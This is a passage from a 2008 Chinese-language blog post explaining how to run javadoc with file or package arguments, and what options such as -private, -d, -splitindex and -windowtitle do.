  这是给出 java 源文件作为编译参数的方法,注意命令中指出的是文件路径,应该根据实际情况改变。也可以是给出包名作为编译参数,如:
  javadoc fancy fancy.editor
  用浏览器打开生成文档的 index.html 文件即可发现两种方式编译结果的不同,如下图:
  
  用第二条命令生成的文档被框架分成了三部分:包列表、类列表和类说明。在包列表中选择了某个包之后,类列表中就会列出该包中的所有类;在类列表中选择了某个类之后,类说明部分就会显示出该类的详细文档。而用第一条命令生成的文档只有两部分,类列表和类说明,没有包列表。这就是两种方式生成文档的最大区别了。
  两种方式编译还有一点不同,
  下面再来细说选项。
  -public、-protected、-package、-private 四个选项,只需要任选其一即可。它们指定的显示类成员的程度。它们显示的成员多少是一个包含的关系,如下表:
  -private (显示所有类和成员)
  -package (显示 package/protected/public 类和成员)
  -protected (显示 protected/public 类和成员)
  -public (仅显示 public 类和成员)
  -d 选项允许你定义输出目录。如果不用 -d 定义输出目录,生成的文档文件会放在当前目录下。-d 选项的用法是
  -d 目录名
  目录名为必填项,也就是说,如果你使用了 -d 参数,就一定要为它指定一个目录。这个目录必须已经存在了,如果还不存在,请在运行 javadoc 之前创建该目录。
  -version 和 -author 用于控制生成文档时是否生成 @version 和 @author 指定的内容。不加这两个参数的情况下,生成的文档中不包含版本和作者信息。
  -splitindex 选项将索引分为每个字母对应一个文件。默认情况下,索引文件只有一个,且该文件中包含所有索引内容。当然生成文档内容不多的时候,这样做非常合适,但是,如果文档内容非常多的时候,这个索引文件将包含非常多的内容,显得过于庞大。使用 -splitindex 会把索引文件按各索引项的第一个字母进行分类,每个字母对应一个文件。这样,就减轻了一个索引文件的负担。
  -windowtitle 选项为文档指定一个标题,该标题会显示在窗口的标题栏上。如果不指定该标题,而默认的文档标题为“生成的文档(无标题)”。该选项的用法是:
  -windowtitle 标题
  标题是一串没有包含空格的文本,因为空格符是用于分隔各参数的,所以不能包含空格。同 -d 类似,如果指定了 -windowtitle 选项,则必须指定标题文本。
  到此为止,Java 文档和 javadoc 就介绍完了。
posted @ 2008-04-10 15:04 u-s-soldiers 阅读(194) | 评论 (0)编辑 收藏